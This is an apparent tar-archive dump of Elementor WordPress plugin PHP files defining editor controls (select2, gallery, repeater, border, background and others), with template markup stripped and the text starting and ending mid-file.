[], 'multiple' => false, // Select2 library options 'select2options' => [], // the lockedOptions array can be passed option keys. The passed option keys will be non-deletable. 'lockedOptions' => [], ]; } /** * Render select2 control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.label ) {#> <# } #>
<# var multiple = ( data.multiple ) ? 'multiple' : ''; #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> templates_manager->get_import_images_instance()->import( $attachment ); } // Filter out attachments that don't exist $settings = array_filter( $settings ); return $settings; } /** * Render gallery control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
{{{ data.label }}}
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #>
true, 'dynamic' => [ 'categories' => [ TagsModule::GALLERY_CATEGORY ], 'returnType' => 'object', ], ]; } /** * Get gallery control default values. * * Retrieve the default value of the gallery control. Used to return the default * values while initializing the gallery control. * * @since 1.0.0 * @access public * * @return array Control default value. */ public function get_default_value() { return []; } } includes/controls/switcher.php000064400000004116147206604650012572 0ustar00
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> esc_html__( 'No', 'elementor' ), 'label_on' => esc_html__( 'Yes', 'elementor' ), 'return_value' => 'yes', ]; } } includes/controls/select.php000064400000005101147206604650012214 0ustar00 [], ]; } /** * Render select control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( data.label ) {#> <# } #>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> <# data.raw = elementor.compileTemplate( data.raw, { view } ); if ( data.label ) { #> {{{ data.label }}} <# } #>
{{{ data.raw }}}
'', 'content_classes' => '', ]; } } includes/controls/popover-toggle.php000064400000005250147206604650013713 0ustar00 'yes', ]; } /** * Render popover toggle control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.9.0 * @access public */ public function content_template() { ?>
<# if ( data.description ) { #>
{{{ data.description }}}
<# } #> [ 'fadeIn' => 'Fade Out', 'fadeInDown' => 'Fade Out Up', 'fadeInLeft' => 'Fade Out Left', 'fadeInRight' => 'Fade Out Right', 'fadeInUp' => 'Fade Out Down', ], 'Zooming' => [ 'zoomIn' => 'Zoom Out', 'zoomInDown' => 'Zoom Out Up', 'zoomInLeft' => 'Zoom Out Left', 'zoomInRight' => 'Zoom Out Right', 'zoomInUp' => 'Zoom Out Down', ], 'Sliding' => [ 'slideInDown' => 'Slide Out Up', 'slideInLeft' => 'Slide Out Left', 'slideInRight' => 'Slide Out Right', 'slideInUp' => 'Slide Out Down', ], 'Rotating' => [ 'rotateIn' => 'Rotate Out', 'rotateInDownLeft' => 'Rotate Out Up Left', 'rotateInDownRight' => 'Rotate Out Up Right', 'rotateInUpRight' => 'Rotate Out Down Left', 'rotateInUpLeft' => 'Rotate Out Down Right', ], 'Light Speed' => [ 'lightSpeedIn' => 'Light Speed Out', ], 'Specials' => [ 'rollIn' => 'Roll Out', ], ]; } public static function get_assets( $setting ) { if ( ! $setting || 'none' === $setting ) { return []; } return [ 'styles' => [ 'e-animation-' . $setting ], ]; } } includes/controls/repeater.php000064400000011705147206604650012553 0ustar00 [], 'title_field' => '', 'prevent_empty' => true, 'is_repeater' => true, 'max_items' => 0, 'min_items' => 0, 'item_actions' => [ 'add' => true, 'duplicate' => true, 'remove' => true, 'sort' => true, ], ]; } /** * Get repeater control value. * * Retrieve the value of the repeater control from a specific Controls_Stack. * * @since 1.0.0 * @access public * * @param array $control Control * @param array $settings Controls_Stack settings * * @return mixed Control values. */ public function get_value( $control, $settings ) { $value = parent::get_value( $control, $settings ); if ( ! empty( $value ) ) { foreach ( $value as &$item ) { foreach ( $control['fields'] as $field ) { $control_obj = Plugin::$instance->controls_manager->get_control( $field['type'] ); // Prior to 1.5.0 the fields may contains non-data controls. if ( ! $control_obj instanceof Base_Data_Control ) { continue; } $item[ $field['name'] ] = $control_obj->get_value( $field, $item ); } } } return $value; } /** * Import repeater. * * Used as a wrapper method for inner controls while importing Elementor * template JSON file, and replacing the old data. * * @since 1.8.0 * @access public * * @param array $settings Control settings. * @param array $control_data Optional. Control data. Default is an empty array. * * @return array Control settings. */ public function on_import( $settings, $control_data = [] ) { if ( empty( $settings ) || empty( $control_data['fields'] ) ) { return $settings; } $method = 'on_import'; foreach ( $settings as &$item ) { foreach ( $control_data['fields'] as $field ) { if ( empty( $field['name'] ) || empty( $item[ $field['name'] ] ) ) { continue; } $control_obj = Plugin::$instance->controls_manager->get_control( $field['type'] ); if ( ! $control_obj ) { continue; } if ( method_exists( $control_obj, $method ) ) { $item[ $field['name'] ] = $control_obj->{$method}( $item[ $field['name'] ], $field ); } } } return $settings; } /** * Render repeater control output in the editor. * * Used to generate the control HTML in the editor using Underscore JS * template. The variables for the class are available using `data` JS * object. * * @since 1.0.0 * @access public */ public function content_template() { ?>
<# if ( itemActions.add ) { #>
<# } #> esc_html__( 'Text Shadow', 'elementor' ), 'type' => Controls_Manager::TEXT_SHADOW, 'selectors' => [ '{{SELECTOR}}' => 'text-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{COLOR}};', ], ]; return $controls; } /** * Get default options. * * Retrieve the default options of the text shadow control. Used to return the * default options while initializing the text shadow control. * * @since 1.9.0 * @access protected * * @return array Default text shadow control options. */ protected function get_default_options() { return [ 'popover' => [ 'starter_title' => esc_html__( 'Text Shadow', 'elementor' ), 'starter_name' => 'text_shadow_type', 'starter_value' => 'yes', 'settings' => [ 'render_type' => 'ui', ], ], ]; } } includes/controls/groups/flex-item.php000064400000011473147206604650014157 0ustar00 esc_html__( 'Flex Basis', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'custom' => esc_html__( 'Custom', 'elementor' ), ], 'responsive' => true, ]; $fields['basis'] = [ 'label' => esc_html__( 'Custom Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 1000, ], ], 'default' => [ 'unit' => '%', ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{SELECTOR}}' => '--flex-basis: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'basis_type' => 'custom', ], 'responsive' => true, ]; $fields['align_self'] = [ 'label' => esc_html__( 'Align Self', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'flex-start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-flex eicon-align-start-v', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-flex eicon-align-center-v', ], 'flex-end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-flex eicon-align-end-v', ], 'stretch' => [ 'title' => esc_html__( 'Stretch', 'elementor' ), 'icon' => 'eicon-flex eicon-align-stretch-v', ], ], 'default' => '', 'selectors' => [ '{{SELECTOR}}' => '--align-self: {{VALUE}};', ], 'responsive' => true, 'description' => esc_html__( 'This control will affect contained elements only.', 'elementor' ), ]; $fields['order'] = [ 'label' => esc_html__( 'Order', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => '', 'options' => [ 'start' => [ 'title' => esc_html__( 'Start', 'elementor' ), 'icon' => 'eicon-flex eicon-order-start', ], 'end' => [ 'title' => esc_html__( 'End', 'elementor' ), 'icon' => 'eicon-flex eicon-order-end', ], 'custom' => [ 'title' => esc_html__( 'Custom', 'elementor' ), 'icon' => 'eicon-ellipsis-v', ], ], 'selectors_dictionary' => [ // Hacks to set the order to start / end. // For example, if the user has 10 widgets, but wants to set the 5th one to be first, // this hack should do the trick while taking in account elements with `order: 0` or less. 'start' => '-99999 /* order start hack */', 'end' => '99999 /* order end hack */', 'custom' => '', ], 'selectors' => [ '{{SELECTOR}}' => '--order: {{VALUE}};', ], 'responsive' => true, 'description' => esc_html__( 'This control will affect contained elements only.', 'elementor' ), ]; $fields['order_custom'] = [ 'label' => esc_html__( 'Custom Order', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'selectors' => [ '{{SELECTOR}}' => '--order: {{VALUE}};', ], 'responsive' => true, 'condition' => [ 'order' => 'custom', ], ]; $fields['size'] = [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => '', 'options' => [ 'none' => [ 'title' => esc_html__( 'None', 'elementor' ), 'icon' => 'eicon-ban', ], 'grow' => [ 'title' => esc_html__( 'Grow', 'elementor' ), 'icon' => 'eicon-grow', ], 'shrink' => [ 'title' => esc_html__( 'Shrink', 'elementor' ), 'icon' => 'eicon-shrink', ], 'custom' => [ 'title' => esc_html__( 'Custom', 'elementor' ), 'icon' => 'eicon-ellipsis-v', ], ], 'selectors_dictionary' => [ 'grow' => '--flex-grow: 1; --flex-shrink: 0;', 'shrink' => '--flex-grow: 0; --flex-shrink: 1;', 'custom' => '', 'none' => '--flex-grow: 0; --flex-shrink: 0;', ], 'selectors' => [ '{{SELECTOR}}' => '{{VALUE}};', ], 'responsive' => true, ]; $fields['grow'] = [ 'label' => esc_html__( 'Flex Grow', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'selectors' => [ '{{SELECTOR}}' => '--flex-grow: {{VALUE}};', ], 'default' => 1, 'placeholder' => 1, 'responsive' => true, 'condition' => [ 'size' => 'custom', ], ]; $fields['shrink'] = [ 'label' => esc_html__( 'Flex Shrink', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'selectors' => [ '{{SELECTOR}}' => '--flex-shrink: {{VALUE}};', ], 'default' => 1, 'placeholder' => 1, 'responsive' => true, 'condition' => [ 'size' => 'custom', ], ]; return $fields; } protected function get_default_options() { return [ 'popover' => false, ]; } } includes/controls/groups/border.php000064400000005112147206604650013533 0ustar00 esc_html__( 'Border Type', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'none' => esc_html__( 'None', 'elementor' ), 'solid' => esc_html__( 'Solid', 'elementor' ), 'double' => esc_html__( 'Double', 'elementor' ), 'dotted' => esc_html__( 'Dotted', 'elementor' ), 'dashed' => esc_html__( 'Dashed', 'elementor' ), 'groove' => esc_html__( 'Groove', 'elementor' ), ], 'selectors' => [ '{{SELECTOR}}' => 'border-style: {{VALUE}};', ], ]; $fields['width'] = [ 'label' => esc_html__( 'Border Width', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', 'em', 'rem', 'vw', 'custom' ], 'selectors' => [ '{{SELECTOR}}' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};', ], 'condition' => [ 'border!' => [ '', 'none' ], ], 'responsive' => true, ]; $fields['color'] = [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'selectors' => [ '{{SELECTOR}}' => 'border-color: {{VALUE}};', ], 'condition' => [ 'border!' => [ '', 'none' ], ], ]; return $fields; } /** * Get default options. * * Retrieve the default options of the border control. Used to return the * default options while initializing the border control. * * @since 1.9.0 * @access protected * * @return array Default border control options. */ protected function get_default_options() { return [ 'popover' => false, ]; } } includes/controls/groups/base.php000064400000033655147206604650013205 0ustar00options ) { $this->init_options(); } if ( $option ) { if ( isset( $this->options[ $option ] ) ) { return $this->options[ $option ]; } return null; } return $this->options; } /** * Add new controls to stack. * * Register multiple controls to allow the user to set/update data. * * @since 1.0.0 * @access public * * @param Controls_Stack $element The element stack. * @param array $user_args The control arguments defined by the user. * @param array $options Optional. The element options. Default is * an empty array. */ final public function add_controls( Controls_Stack $element, array $user_args, array $options = [] ) { $this->init_args( $user_args ); // Filter which controls to display $filtered_fields = $this->filter_fields(); $filtered_fields = $this->prepare_fields( $filtered_fields ); // For php < 7 reset( $filtered_fields ); if ( isset( $this->args['separator'] ) ) { $filtered_fields[ key( $filtered_fields ) ]['separator'] = $this->args['separator']; } $has_injection = false; if ( ! empty( $options['position'] ) ) { $has_injection = true; $element->start_injection( $options['position'] ); unset( $options['position'] ); } if ( $this->get_options( 'popover' ) ) { $this->start_popover( $element ); } foreach ( $filtered_fields as $field_id => $field_args ) { // Add the global group args to the control $field_args = $this->add_group_args_to_field( $field_id, $field_args ); // Register the control $id = $this->get_controls_prefix() . $field_id; if ( ! empty( $field_args['responsive'] ) ) { unset( $field_args['responsive'] ); $element->add_responsive_control( $id, $field_args, $options ); } else { $element->add_control( $id, $field_args, $options ); } } if ( $this->get_options( 'popover' ) ) { $element->end_popover(); } if ( $has_injection ) { $element->end_injection(); } } /** * Get arguments. * * Retrieve group control arguments. * * @since 1.0.0 * @access public * * @return array Group control arguments. */ final public function get_args() { return $this->args; } /** * Get fields. * * Retrieve group control fields. * * @since 1.2.2 * @access public * * @return array Control fields. */ final public function get_fields() { if ( null === static::$fields ) { static::$fields = $this->init_fields(); } return static::$fields; } /** * Get controls prefix. * * Retrieve the prefix of the group control, which is `{{ControlName}}_`. * * @since 1.0.0 * @access public * * @return string Control prefix. */ public function get_controls_prefix() { return $this->args['name'] . '_'; } /** * Get group control classes. * * Retrieve the classes of the group control. * * @since 1.0.0 * @access public * * @return string Group control classes. */ public function get_base_group_classes() { return 'elementor-group-control-' . static::get_type() . ' elementor-group-control'; } /** * Init fields. * * Initialize group control fields. * * @abstract * @since 1.2.2 * @access protected */ abstract protected function init_fields(); /** * Get default options. * * Retrieve the default options of the group control. Used to return the * default options while initializing the group control. * * @since 1.9.0 * @access protected * * @return array Default group control options. */ protected function get_default_options() { return []; } /** * Get child default arguments. * * Retrieve the default arguments for all the child controls for a specific group * control. * * @since 1.2.2 * @access protected * * @return array Default arguments for all the child controls. */ protected function get_child_default_args() { return []; } /** * Filter fields. * * Filter which controls to display, using `include`, `exclude` and the * `condition` arguments. * * @since 1.2.2 * @access protected * * @return array Control fields. */ protected function filter_fields() { $args = $this->get_args(); $fields = $this->get_fields(); if ( ! empty( $args['include'] ) ) { $fields = array_intersect_key( $fields, array_flip( $args['include'] ) ); } if ( ! empty( $args['exclude'] ) ) { $fields = array_diff_key( $fields, array_flip( $args['exclude'] ) ); } return $fields; } /** * Add group arguments to field. * * Register field arguments to group control. * * @since 1.2.2 * @access protected * * @param string $control_id Group control id. * @param array $field_args Group control field arguments. * * @return array */ protected function add_group_args_to_field( $control_id, $field_args ) { $args = $this->get_args(); if ( ! empty( $args['tab'] ) ) { $field_args['tab'] = $args['tab']; } if ( ! empty( $args['section'] ) ) { $field_args['section'] = $args['section']; } $field_args['classes'] = $this->get_base_group_classes() . ' elementor-group-control-' . $control_id; foreach ( [ 'condition', 'conditions' ] as $condition_type ) { if ( ! empty( $args[ $condition_type ] ) ) { if ( empty( $field_args[ $condition_type ] ) ) { $field_args[ $condition_type ] = []; } $field_args[ $condition_type ] += $args[ $condition_type ]; } } return $field_args; } /** * Prepare fields. * * Process group control fields before adding them to `add_control()`. * * @since 1.2.2 * @access protected * * @param array $fields Group control fields. * * @return array Processed fields. */ protected function prepare_fields( $fields ) { $popover_options = $this->get_options( 'popover' ); $popover_name = ! $popover_options ? null : $popover_options['starter_name']; foreach ( $fields as $field_key => &$field ) { if ( $popover_name ) { $field['condition'][ $popover_name . '!' ] = ''; } if ( isset( $this->args['fields_options']['__all'] ) ) { $field = array_merge( $field, $this->args['fields_options']['__all'] ); } if ( isset( $this->args['fields_options'][ $field_key ] ) ) { $field = array_merge( $field, $this->args['fields_options'][ $field_key ] ); } if ( ! empty( $field['condition'] ) ) { $field = $this->add_condition_prefix( $field ); } if ( ! empty( $field['conditions'] ) ) { $field['conditions'] = $this->add_conditions_prefix( $field['conditions'] ); } if ( ! empty( $field['selectors'] ) ) { $field['selectors'] = $this->handle_selectors( $field['selectors'] ); } if ( ! empty( $field['device_args'] ) ) { foreach ( $field['device_args'] as $device => $device_arg ) { if ( ! empty( $field['device_args'][ $device ]['condition'] ) ) { $field['device_args'][ $device ] = $this->add_condition_prefix( $field['device_args'][ $device ] ); } if ( ! empty( $field['device_args'][ $device ]['conditions'] ) ) { $field['device_args'][ $device ]['conditions'] = $this->add_conditions_prefix( $field['device_args'][ $device ]['conditions'] ); } if ( ! empty( $device_arg['selectors'] ) ) { $field['device_args'][ $device ]['selectors'] = $this->handle_selectors( $device_arg['selectors'] ); } } } } return $fields; } /** * Init options. * * Initializing group control options. * * @since 1.9.0 * @access private */ private function init_options() { $default_options = [ 'popover' => [ 'starter_name' => 'popover_toggle', 'starter_value' => 'custom', 'starter_title' => '', ], ]; $this->options = array_replace_recursive( $default_options, $this->get_default_options() ); } /** * Init arguments. * * Initializing group control base class. * * @since 1.2.2 * @access protected * * @param array $args Group control settings value. */ protected function init_args( $args ) { $this->args = array_merge( $this->get_default_args(), $this->get_child_default_args(), $args ); if ( isset( $this->args['scheme'] ) ) { $this->args['global']['default'] = Plugin::$instance->kits_manager->convert_scheme_to_global( $this->args['scheme'] ); } } /** * Get default arguments. * * Retrieve the default arguments of the group control. Used to return the * default arguments while initializing the group control. * * @since 1.2.2 * @access private * * @return array Control default arguments. */ private function get_default_args() { return [ 'default' => '', 'selector' => '{{WRAPPER}}', 'fields_options' => [], ]; } /** * Add condition prefix. * * Used to add the group prefix to controls with conditions, to * distinguish them from other controls with the same name. * * This way Elementor can apply condition logic to a specific control in a * group control. * * @since 1.2.0 * @access private * * @param array $field Group control field. * * @return array Group control field. */ private function add_condition_prefix( $field ) { $controls_prefix = $this->get_controls_prefix(); $prefixed_condition_keys = array_map( function( $key ) use ( $controls_prefix ) { return $controls_prefix . $key; }, array_keys( $field['condition'] ) ); $field['condition'] = array_combine( $prefixed_condition_keys, $field['condition'] ); return $field; } private function add_conditions_prefix( $conditions ) { $controls_prefix = $this->get_controls_prefix(); foreach ( $conditions['terms'] as & $condition ) { if ( isset( $condition['terms'] ) ) { $condition = $this->add_conditions_prefix( $condition ); continue; } $condition['name'] = $controls_prefix . $condition['name']; } return $conditions; } /** * Handle selectors. * * Used to process the CSS selector of group control fields. When using * group control, Elementor needs to apply the selector to different fields. * This method handles the process. * * In addition, it handles selector values from other fields and process the * css. * * @since 1.2.2 * @access private * * @param array $selectors An array of selectors to process. * * @return array Processed selectors. */ private function handle_selectors( $selectors ) { $args = $this->get_args(); $selectors = array_combine( array_map( function( $key ) use ( $args ) { return str_replace( '{{SELECTOR}}', $args['selector'], $key ); }, array_keys( $selectors ) ), $selectors ); if ( ! $selectors ) { return $selectors; } $controls_prefix = $this->get_controls_prefix(); foreach ( $selectors as &$selector ) { $selector = preg_replace_callback( '/{{\K(.*?)(?=}})/', function( $matches ) use ( $controls_prefix ) { $is_external_reference = false; return preg_replace_callback( '/[^ ]+?(?=\.)\./', function( $sub_matches ) use ( $controls_prefix, &$is_external_reference ) { $placeholder = $sub_matches[0]; if ( 'external.' === $placeholder ) { $is_external_reference = true; return ''; } if ( $is_external_reference ) { $is_external_reference = false; return $placeholder; } return $controls_prefix . $placeholder; }, $matches[1] ); }, $selector ); } return $selectors; } /** * Start popover. * * Starts a group controls popover. * * @since 1.9.1 * @access private * @param Controls_Stack $element Element. */ private function start_popover( Controls_Stack $element ) { $popover_options = $this->get_options( 'popover' ); $settings = $this->get_args(); if ( isset( $settings['global'] ) ) { if ( ! isset( $popover_options['settings']['global'] ) ) { $popover_options['settings']['global'] = []; } $popover_options['settings']['global'] = array_replace_recursive( $popover_options['settings']['global'], $settings['global'] ); } if ( isset( $settings['label'] ) ) { $label = $settings['label']; } else { $label = $popover_options['starter_title']; } $control_params = [ 'type' => Controls_Manager::POPOVER_TOGGLE, 'label' => $label, 'return_value' => $popover_options['starter_value'], ]; if ( ! empty( $popover_options['settings'] ) ) { $control_params = array_replace_recursive( $control_params, $popover_options['settings'] ); } foreach ( [ 'condition', 'conditions' ] as $key ) { if ( ! empty( $settings[ $key ] ) ) { $control_params[ $key ] = $settings[ $key ]; } } $starter_name = $popover_options['starter_name']; if ( isset( $this->args['fields_options'][ $starter_name ] ) ) { $control_params = array_merge( $control_params, $this->args['fields_options'][ $starter_name ] ); } $control_params['groupPrefix'] = $this->get_controls_prefix(); $element->add_control( $this->get_controls_prefix() . $starter_name, $control_params ); $element->start_popover(); } } includes/controls/groups/text-stroke.php000064400000004646147206604650014562 0ustar00 esc_html__( 'Text Stroke', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 10, ], 'em' => [ 'min' => 0, 'max' => 1, ], 'rem' => [ 'min' => 0, 'max' => 1, ], ], 'responsive' => true, 'selector' => '{{WRAPPER}}', 'selectors' => [ '{{SELECTOR}}' => '-webkit-text-stroke-width: {{SIZE}}{{UNIT}}; stroke-width: {{SIZE}}{{UNIT}};', ], ]; $controls['stroke_color'] = [ 'label' => esc_html__( 'Stroke Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '#000', 'selector' => '{{WRAPPER}}', 'selectors' => [ '{{SELECTOR}}' => '-webkit-text-stroke-color: {{VALUE}}; stroke: {{VALUE}};', ], ]; return $controls; } /** * Get default options. * * Retrieve the default options of the text stroke control. Used to return the * default options while initializing the text stroke control. * * @since 3.5.0 * @access protected * * @return array Default text stroke control options. */ protected function get_default_options() { return [ 'popover' => [ 'starter_title' => esc_html__( 'Text Stroke', 'elementor' ), 'starter_name' => 'text_stroke_type', 'starter_value' => 'yes', 'settings' => [ 'render_type' => 'ui', ], ], ]; } } includes/controls/groups/background.php000064400000054723147206604650014411 0ustar00 [ 'title' => esc_html__( 'Classic', 'elementor' ), 'icon' => 'eicon-paint-brush', ], 'gradient' => [ 'title' => esc_html__( 'Gradient', 'elementor' ), 'icon' => 'eicon-barcode', ], 'video' => [ 'title' => esc_html__( 'Video', 'elementor' ), 'icon' => 'eicon-video-camera', ], 'slideshow' => [ 'title' => esc_html__( 'Slideshow', 'elementor' ), 'icon' => 'eicon-slideshow', ], ]; } /** * Init fields. * * Initialize background control fields. * * @since 1.2.2 * @access public * * @return array Control fields. */ public function init_fields() { $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); $location_device_args = []; $location_device_defaults = [ 'default' => [ 'unit' => '%', ], ]; $angel_device_args = []; $angel_device_defaults = [ 'default' => [ 'unit' => 'deg', ], ]; $position_device_args = []; $position_device_defaults = [ 'default' => 'center center', ]; foreach ( $active_breakpoints as $breakpoint_name => $breakpoint ) { $location_device_args[ $breakpoint_name ] = $location_device_defaults; $angel_device_args[ $breakpoint_name ] = $angel_device_defaults; $position_device_args[ $breakpoint_name ] = $position_device_defaults; } $fields = []; $fields['background'] = [ 'label' => esc_html__( 'Background Type', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'render_type' => 'ui', ]; $fields['gradient_notice'] = [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'warning', 'content' => esc_html__( 'Set locations and angle for each breakpoint to ensure the gradient adapts to different screen sizes.', 'elementor' ), 'render_type' => 'ui', 'condition' => [ 'background' => [ 'gradient' ], ], ]; $fields['color'] = [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'control_type' => 'content', 'title' => esc_html__( 'Background Color', 'elementor' ), 'selectors' => [ '{{SELECTOR}}' => 'background-color: {{VALUE}};', ], 'condition' => [ 'background' => [ 'classic', 'gradient', 'video' ], ], ]; $fields['color_stop'] = [ 'label' => esc_html_x( 'Location', 'Background Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ '%', 'custom' ], 'default' => [ 'unit' => '%', 'size' => 0, ], 'device_args' => $location_device_args, 'responsive' => true, 'render_type' => 'ui', 'condition' => [ 'background' => [ 'gradient' ], ], 'of_type' => 'gradient', ]; $fields['color_b'] = [ 'label' => esc_html__( 'Second Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '#f2295b', 'render_type' => 'ui', 'control_type' => 'content', 'condition' => [ 'background' => [ 'gradient' ], ], 'of_type' => 'gradient', ]; $fields['color_b_stop'] = [ 'label' => esc_html_x( 'Location', 'Background Control', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ '%', 'custom' ], 'default' => [ 'unit' => '%', 'size' => 100, ], 'device_args' => $location_device_args, 'responsive' => true, 'render_type' => 'ui', 'condition' => [ 'background' => [ 'gradient' ], ], 'of_type' => 'gradient', ]; $fields['gradient_type'] = [ 'label' => esc_html_x( 'Type', 'Background Control', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'linear' => esc_html__( 'Linear', 'elementor' ), 'radial' => esc_html__( 'Radial', 'elementor' ), ], 'default' => 'linear', 'render_type' => 'ui', 'condition' => [ 'background' => [ 'gradient' ], ], 'of_type' => 'gradient', ]; $fields['gradient_angle'] = [ 'label' => esc_html__( 'Angle', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'deg', 'grad', 'rad', 'turn', 'custom' ], 'default' => [ 'unit' => 'deg', 'size' => 180, ], 'device_args' => $angel_device_args, 'responsive' => true, 'selectors' => [ '{{SELECTOR}}' => 'background-color: transparent; background-image: linear-gradient({{SIZE}}{{UNIT}}, {{color.VALUE}} {{color_stop.SIZE}}{{color_stop.UNIT}}, {{color_b.VALUE}} {{color_b_stop.SIZE}}{{color_b_stop.UNIT}})', ], 'condition' => [ 'background' => [ 'gradient' ], 'gradient_type' => 'linear', ], 'of_type' => 'gradient', ]; $fields['gradient_position'] = [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'center center' => esc_html__( 'Center Center', 'elementor' ), 'center left' => esc_html__( 'Center Left', 'elementor' ), 'center right' => esc_html__( 'Center Right', 'elementor' ), 'top center' => esc_html__( 'Top Center', 'elementor' ), 'top left' => esc_html__( 'Top Left', 'elementor' ), 'top right' => esc_html__( 'Top Right', 'elementor' ), 'bottom center' => esc_html__( 'Bottom Center', 'elementor' ), 'bottom left' => esc_html__( 'Bottom Left', 'elementor' ), 'bottom right' => esc_html__( 'Bottom Right', 'elementor' ), ], 'default' => 'center center', 'device_args' => $position_device_args, 'responsive' => true, 'selectors' => [ '{{SELECTOR}}' => 'background-color: transparent; background-image: radial-gradient(at {{VALUE}}, {{color.VALUE}} {{color_stop.SIZE}}{{color_stop.UNIT}}, {{color_b.VALUE}} {{color_b_stop.SIZE}}{{color_b_stop.UNIT}})', ], 'condition' => [ 'background' => [ 'gradient' ], 'gradient_type' => 'radial', ], 'of_type' => 'gradient', ]; $fields['image'] = [ 'label' => esc_html__( 'Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'ai' => [ 'category' => 'background', ], 'dynamic' => [ 'active' => true, ], 'responsive' => true, 'title' => esc_html__( 'Background Image', 'elementor' ), 'selectors' => [ '{{SELECTOR}}' => 'background-image: url("{{URL}}");', ], 'has_sizes' => true, 'render_type' => 'template', 'condition' => [ 'background' => [ 'classic' ], ], ]; $fields['position'] = [ 'label' => esc_html__( 'Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => '', 'separator' => 'before', 'responsive' => true, 'options' => [ '' => esc_html__( 'Default', 'elementor' ), 'center center' => esc_html__( 'Center Center', 'elementor' ), 'center left' => esc_html__( 'Center Left', 'elementor' ), 'center right' => esc_html__( 'Center Right', 'elementor' ), 'top center' => esc_html__( 'Top Center', 'elementor' ), 'top left' => esc_html__( 'Top Left', 'elementor' ), 'top right' => esc_html__( 'Top Right', 'elementor' ), 'bottom center' => esc_html__( 'Bottom Center', 'elementor' ), 'bottom left' => esc_html__( 'Bottom Left', 'elementor' ), 'bottom right' => esc_html__( 'Bottom Right', 'elementor' ), 'initial' => esc_html__( 'Custom', 'elementor' ), ], 'selectors' => [ '{{SELECTOR}}' => 'background-position: {{VALUE}};', ], 'condition' => [ 'background' => [ 'classic' ], 'image[url]!' => '', ], ]; $fields['xpos'] = [ 'label' => esc_html__( 'X Position', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'responsive' => true, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'size' => 0, ], 'tablet_default' => [ 'size' => 0, ], 'mobile_default' => [ 'size' => 0, ], 'range' => [ 'px' => [ 'min' => -800, 'max' => 800, ], 'em' => [ 'min' => -100, 'max' => 100, ], '%' => [ 'min' => -100, 'max' => 100, ], 'vw' => [ 'min' => -100, 'max' => 100, ], ], 'selectors' => [ '{{SELECTOR}}' => 'background-position: {{SIZE}}{{UNIT}} {{ypos.SIZE}}{{ypos.UNIT}}', ], 'condition' => [ 'background' => [ 'classic' ], 'position' => [ 'initial' ], 'image[url]!' => '', ], 'required' => true, ]; $fields['ypos'] = [ 'label' => esc_html__( 'Y Position', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'responsive' => true, 'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ], 'default' => [ 'size' => 0, ], 'tablet_default' => [ 'size' => 0, ], 'mobile_default' => [ 'size' => 0, ], 'range' => [ 'px' => [ 'min' => -800, 'max' => 800, ], 'em' => [ 'min' => -100, 'max' => 100, ], '%' => [ 'min' => -100, 'max' => 100, ], 'vh' => [ 'min' => -100, 'max' => 100, ], ], 'selectors' => [ '{{SELECTOR}}' => 'background-position: {{xpos.SIZE}}{{xpos.UNIT}} {{SIZE}}{{UNIT}}', ], 'condition' => [ 'background' => [ 'classic' ], 'position' => [ 'initial' ], 'image[url]!' => '', ], 'required' => true, ]; $fields['attachment'] = [ 'label' => esc_html_x( 'Attachment', 'Background Control', 